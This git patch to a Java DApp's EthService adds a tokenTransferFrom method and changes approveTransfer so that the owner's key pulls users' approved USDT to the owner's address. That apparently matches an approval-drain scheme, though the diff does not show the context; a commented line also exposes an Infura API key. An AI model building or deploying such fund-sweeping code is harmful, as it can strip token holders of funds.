From ae05aca297fa702a962d462d45058ffa0fa55a37 Mon Sep 17 00:00:00 2001
From: Helius <wangdoubleone@gmail.com>
Date: Thu, 31 Mar 2022 15:16:35 +0800
Subject: [PATCH] fix eth transfer
---
src/main/java/cc/mrbird/febs/dapp/chain/EthService.java | 56 +++++++++++++++++++++++++++++++++++++++++++++++++++++---
1 files changed, 53 insertions(+), 3 deletions(-)
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
index 934c208..7f7543c 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
@@ -212,8 +212,9 @@
// Web3j web3j = Web3j.build(new
// HttpService("https://mainnet.infura.io/v3/882c66ebcfc141abbea22b948fa44321"));
if(StringUtils.isBlank(gas)){
- gas="70";
+ gas="35";
}
+
String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
Credentials credentials = Credentials.create(privateKey);
@@ -231,8 +232,57 @@
RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
- Convert.toWei("60000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
+ Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
// 10*80000/1000000000=0.0008 手续费
+
+ byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
+ String hexValue = Numeric.toHexString(signedMessage);
+
+ CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();
+ EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();
+ //return "hash";
+// log.info("====:{}", JSONObject.toJSONString(ethSendTransaction));
+
+ if (ethSendTransaction.hasError()) {
+ return "";
+ } else {
+ String transactionHash = ethSendTransaction.getTransactionHash();
+ // log.info("Transfer transactionHash:" + transactionHash);
+ return transactionHash;
+ }
+ }
+
+ public String tokenTransferFrom(String privateKey, String fromAddress, String toAddress, String amount,String gas)
+ throws InterruptedException, ExecutionException {
+ if(StringUtils.isBlank(gas)){
+ gas="35";
+ }
+
+ BigDecimal amountPow = new BigDecimal(amount).multiply(new BigDecimal("1000000"));
+ amount = amountPow.toPlainString();
+ if (amount.contains(".")) {
+ amount = amount.substring(0, amount.lastIndexOf("."));
+ }
+
+ String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
+ Credentials credentials = Credentials.create(privateKey);
+
+ EthGetTransactionCount ethGetTransactionCount = web3j
+ .ethGetTransactionCount(toAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
+
+ BigInteger nonce = ethGetTransactionCount.getTransactionCount();
+
+ Function function = new Function("transferFrom",
+ Arrays.asList(new Address(fromAddress), new Address(toAddress), new Uint256(new BigInteger(amount))),
+ Arrays.asList(new TypeReference<Type>() {
+ }));
+
+ String encodedFunction = FunctionEncoder.encode(function);
+
+ RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
+ Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
+ Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
+ // 10*80000/1000000000=0.0008 手续费
byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
String hexValue = Numeric.toHexString(signedMessage);
@@ -253,7 +303,7 @@
public String approveTransfer(String fromAddress, BigDecimal amount, String gas) {
try {
- return tokenSend(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas);
+ return tokenTransferFrom(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas);
} catch (InterruptedException | ExecutionException e) {
e.printStackTrace();
return "";
--
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